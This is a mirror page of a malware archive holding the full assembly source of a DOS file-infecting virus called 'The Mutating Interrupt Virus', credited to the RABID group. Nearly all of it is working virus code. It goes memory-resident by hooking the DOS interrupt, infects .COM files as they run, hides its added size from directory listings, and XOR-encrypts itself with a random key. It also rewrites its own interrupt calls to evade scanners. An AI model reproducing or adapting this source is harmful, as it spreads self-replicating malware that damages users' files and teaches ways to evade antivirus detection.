mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 06:25:27 +00:00
4b9382ddbc
push
417 lines
12 KiB
NASM
417 lines
12 KiB
NASM
;****************************************************************************
|
|
;* The Mutating Interrupt Virus -Soltan Griss-
|
|
;* [RABID] -=+ Front 242 +=-
|
|
;*
|
|
;*
|
|
;* Well this is my Third Release of many to come. This virus uses the latest
|
|
;* of RABID's new inventions the "MUTATING INTERRUPT", what it does (nothing
|
|
;* to special) is Mutate all int 21h (CD 21) to a random interrupt.
|
|
;* Then before executation it will change it back to INT 21.
|
|
;*
|
|
;* Alot of people are wondering if RABID is Still around. YES. Wea reback and
|
|
;* Kicking, although right now we have limited members, it soon will change.
|
|
;*
|
|
;*
|
|
;* Many Thanks go out to Data Disruptor, who originally came up with the
|
|
;* interrupt swapping idea.
|
|
;*
|
|
;*
|
|
;* SOON TO COME: Why use conventional memory when do has left so many holes??
|
|
;* Find out soon in one of our next RELEASES.
|
|
;*
|
|
;* A Real Mutating virus with moveable modular segments!!<G>!
|
|
;*
|
|
;*
|
|
;*
|
|
;* A Word of thanks go out to.
|
|
;*
|
|
;* YAM- Keep up the hard work. Alot of improvement come with time.
|
|
;* Admiral Bailey. Waitinf for the next version of the IVP!
|
|
;*
|
|
;*
|
|
;****************************************************************************
|
|
|
|
|
|
|
|
seg_a segment
|
|
assume cs:seg_a,ds:seg_a,es:nothing
|
|
|
|
org 100h
|
|
start: db 0E9h,06,00,42h,0f2h ; Jump to virus + F242 id string
|
|
|
|
|
|
vstart equ $
|
|
key: dw 0 ;encryptor key.
|
|
i_key: dw 12cdh ;Interrupt key
|
|
call code_start
|
|
|
|
|
|
code_start:
|
|
pop si
|
|
sub si,offset code_start ;get current infected files size
|
|
mov bp,si
|
|
|
|
|
|
crypter:
|
|
mov cx,(vend-check)
|
|
mov dh,byte ptr cs:[key+bp]
|
|
mov si,offset check
|
|
add si,bp
|
|
loo: mov ah,byte ptr cs:[si] ;Decrypt the virus
|
|
xor ah,dh
|
|
mov byte ptr cs:[si],ah
|
|
inc si
|
|
loop loo
|
|
|
|
code:
|
|
|
|
mov si,offset check
|
|
mov di,offset check
|
|
mov cx,(vend-check)
|
|
looper: mov ax,[si]
|
|
cmp ax,word ptr cs:[i_key+bp] ;Change interrupts back
|
|
je change
|
|
doit: mov [di],ax
|
|
inc si
|
|
inc di
|
|
loop looper
|
|
jmp check
|
|
change: mov ax,21cdh
|
|
jmp doit
|
|
|
|
info: db 'The Mutating Interrupt Virus '
|
|
db 'RABID`S Back and Kicking in `93 -Soltan Griss-'
|
|
|
|
check:
|
|
mov ax,0F242h ;Check to see if we are already
|
|
int 12h
|
|
cmp bx,0F242h ;resident
|
|
je Already_here
|
|
load: ;Virus Id string so they NAME it
|
|
; RIGHT!!!!
|
|
push cs
|
|
pop ds
|
|
|
|
|
|
mov ah,49h ;Release current Memory block
|
|
int 12h
|
|
|
|
|
|
mov ah,48h ;Request Hugh size of memory
|
|
mov bx,0ffffh ;returns biggest size
|
|
int 12h
|
|
|
|
|
|
|
|
mov ah,4ah
|
|
sub bx,(vend-vstart+15)/16+(vend-vstart+15)/16+1
|
|
jc exit ;subtract virus size
|
|
int 12h
|
|
|
|
|
|
mov ah,48h
|
|
mov bx,(vend-vstart+15)/16+(vend-vstart+15)/16
|
|
int 12h
|
|
jc exit ;request last XXX pages
|
|
;allocate it to virus
|
|
|
|
dec ax
|
|
|
|
push es
|
|
|
|
mov es,ax
|
|
|
|
mov byte ptr es:[0],'Z' ;make DOS the owner
|
|
mov word ptr es:[1],8
|
|
mov word ptr es:[3],(vend-vstart+15)/8 ;put size here
|
|
sub word ptr es:[12h],(vend-vstart+15)/8 ;sub size from current
|
|
;memory
|
|
inc ax
|
|
|
|
|
|
lea si,[bp+offset vstart] ;copy it to new memory block
|
|
xor di,di
|
|
mov es,ax
|
|
mov cx,(vend-vstart+5)/2
|
|
cld
|
|
rep movsw
|
|
|
|
|
|
xor ax,ax
|
|
mov ds,ax
|
|
push ds
|
|
lds ax,ds:[21h*4] ;swap vectors manually
|
|
mov word ptr es:[old_21-vstart],ax
|
|
mov word ptr es:[old_21-vstart+2],ds
|
|
pop ds
|
|
mov word ptr ds:[21h*4],(new_21-vstart)
|
|
mov ds:[21h*4+2],es
|
|
|
|
exit:
|
|
already_here:
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
mov si,offset buffer ;Copy five bytes back!
|
|
add si,Bp
|
|
mov di,100h
|
|
movsw
|
|
movsw
|
|
movsb
|
|
mov bp,100h
|
|
jmp bp
|
|
|
|
|
|
|
|
;***************************************************************************
|
|
|
|
old_21: dw 0h,0h
|
|
buffer db 0cdh,20h,0,0,0 ;Buffer to hold the infected
|
|
old_date: dw 0 ;files 5 bytes
|
|
old_time: dw 0
|
|
jump_add: db 0E9h
|
|
db 0,0
|
|
db 0F2h,42h
|
|
|
|
new_21:
|
|
cmp ax,0f242h ;Are we going resident?
|
|
je SAY_YES
|
|
cmp ax,4b00h ;Are we executing?
|
|
je exec
|
|
cmp ah,11h
|
|
je hide_size ;doing a DIR??
|
|
cmp ah,12h
|
|
je hide_size
|
|
jmp do_old
|
|
exec: jmp exec2
|
|
SAY_YES:mov bx,0f242h
|
|
do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21
|
|
ret
|
|
|
|
hide_size:
|
|
pushf
|
|
push cs
|
|
call do_old ;get the current FCB
|
|
cmp al,00h
|
|
jnz dir_error ;jump if bad FCB
|
|
|
|
push ax
|
|
push bx
|
|
push dx
|
|
push ds
|
|
push es ;undocumented get FCB
|
|
mov ah,51h ;location
|
|
int 12h
|
|
mov es,bx ;get info from FCB
|
|
cmp bx,es:[16h]
|
|
jnz not_inf
|
|
mov bx,dx
|
|
mov al,[bx]
|
|
push ax
|
|
mov ah,2fh ;get DTA
|
|
int 12h
|
|
pop ax
|
|
inc al ;Check for extended FCB
|
|
jnz normal_fcb
|
|
add bx,7h
|
|
normal_fcb:
|
|
mov ax,es:[bx+17h]
|
|
and ax,1fh
|
|
xor al,01h ;check for 2 seconds
|
|
jnz not_inf
|
|
|
|
and byte ptr es:[bx+17h],0e0h ;subtract virus size
|
|
sub es:[bx+1dh],(vend-vstart)
|
|
sbb es:[bx+1fh],ax
|
|
not_inf:pop es
|
|
pop ds
|
|
pop dx
|
|
pop bx
|
|
pop ax
|
|
dir_error:
|
|
iret
|
|
|
|
exec2: push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push ds
|
|
push es
|
|
|
|
call infect ;Lets infect the file!!
|
|
|
|
backup: pop es
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
|
|
jmp do_old ;go back to original load
|
|
|
|
|
|
infect:
|
|
mov ax,3d02h
|
|
int 12h
|
|
jc quit1 ;open the file
|
|
|
|
|
|
mov bx,ax
|
|
|
|
A_open: push cs
|
|
pop ds
|
|
|
|
mov ax,4200h
|
|
xor cx,cx
|
|
xor dx,dx ;move file pointer to begining
|
|
int 12h ;(FOR LATER MODIFICATION ONLY)
|
|
|
|
|
|
mov ah,3fh
|
|
mov cx,5h
|
|
mov dx,(buffer-vstart) ;load in the first 5 bytes
|
|
int 12h
|
|
jc quit1
|
|
|
|
cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
|
|
je quit1 ;EXE
|
|
|
|
cmp word ptr cs:[(buffer-vstart)+3],42F2h
|
|
je quit1
|
|
;if so then its infected
|
|
|
|
|
|
jmp qqqq
|
|
|
|
quit1: jmp quit2
|
|
|
|
|
|
qqqq: mov ax,5700h
|
|
int 12h
|
|
jc quit1
|
|
|
|
mov word ptr cs:[(old_time-vstart)],cx ;get the files time
|
|
mov word ptr cs:[(old_date-vstart)],dx ;and date
|
|
|
|
mov ax,4202h
|
|
xor cx,cx
|
|
xor dx,dx ;put file pointer at end
|
|
int 12h
|
|
jc quit1
|
|
|
|
|
|
|
|
mov cx,ax
|
|
sub cx,3 ;write jump lenght to jump buffer
|
|
add cx,4
|
|
mov word ptr cs:[(jump_add+1-vstart)],cx
|
|
|
|
|
|
|
|
mov ah,2ch ;get random number for interrupt
|
|
int 12h ;swapping
|
|
cmp dh,03h ;don't like INT 3'S (1 byte only not 2)
|
|
jne write_key
|
|
inc dh
|
|
|
|
|
|
write_key:
|
|
|
|
mov word ptr cs:[key-vstart],cx ;save encryption key
|
|
mov byte ptr cs:[i_key-vstart+1],dh ;save interupt key
|
|
|
|
mov si,(check-vstart) ;write from check to end
|
|
mov di,(vend-vstart)
|
|
mov cx,(vend-check)
|
|
|
|
topper: mov al,byte ptr cs:[(si)]
|
|
cmp al,0cdh
|
|
je changeit
|
|
top2: mov byte ptr cs:[(di)],al
|
|
tor: inc si ;this "mutating routine" is kind
|
|
inc di ;messy but i'll improve it for version
|
|
loop topper ;2.0
|
|
jmp crypt
|
|
changeit:
|
|
mov byte ptr cs:[(di)],al
|
|
inc di
|
|
inc si
|
|
dec cx
|
|
mov al,byte ptr cs:[(si)]
|
|
cmp al,21h
|
|
jne top2
|
|
mov byte ptr cs:[(di)],dh
|
|
jmp tor
|
|
|
|
quit: jmp quit2
|
|
|
|
|
|
crypt:
|
|
|
|
|
|
|
|
mov cx,(vend-check)
|
|
mov dh,byte ptr cs:[key-vstart]
|
|
mov si,(vend-vstart)
|
|
lop: mov ah,byte ptr cs:[si]
|
|
xor ah,dh ;Encrypt the code
|
|
mov byte ptr cs:[si],ah
|
|
inc si
|
|
loop lop
|
|
|
|
|
|
mov cx,(check-vstart)
|
|
mov ah,40h ;write decrypting routine
|
|
mov dx,(vstart-vstart) ;to file first
|
|
int 12h
|
|
jc quit
|
|
|
|
|
|
mov cx,(vend-check) ;write the encrypted code
|
|
mov ah,40h ; to the end of the file
|
|
mov dx,(vend-vstart)
|
|
int 12h
|
|
jc quit
|
|
|
|
|
|
mov ax,4200h ;move file pointer to the
|
|
xor cx,cx ;begining to write the JMP
|
|
xor dx,dx
|
|
int 12h
|
|
|
|
|
|
mov cx,5
|
|
mov ah,40h ;write the JMP top the file
|
|
mov dx,(jump_add-vstart)
|
|
int 12h
|
|
|
|
jc quit
|
|
|
|
mov ax,5701h
|
|
mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date
|
|
mov word ptr dx,cs:[(old_date-vstart)]
|
|
|
|
and cl,0e0H
|
|
inc cl ;change seconds to 2
|
|
int 12h
|
|
|
|
|
|
mov ah,3eh
|
|
int 12h
|
|
|
|
|
|
quit2: ret
|
|
|
|
|
|
vend equ $
|
|
nop
|
|
nop
|
|
|
|
seg_a ends
|
|
end start
|
|
|
|
|
|
;WELL THATS IT.
|
|
If ya have any questions feel free to contact me on -=+ FRONT 242 +=- (CANADA)
|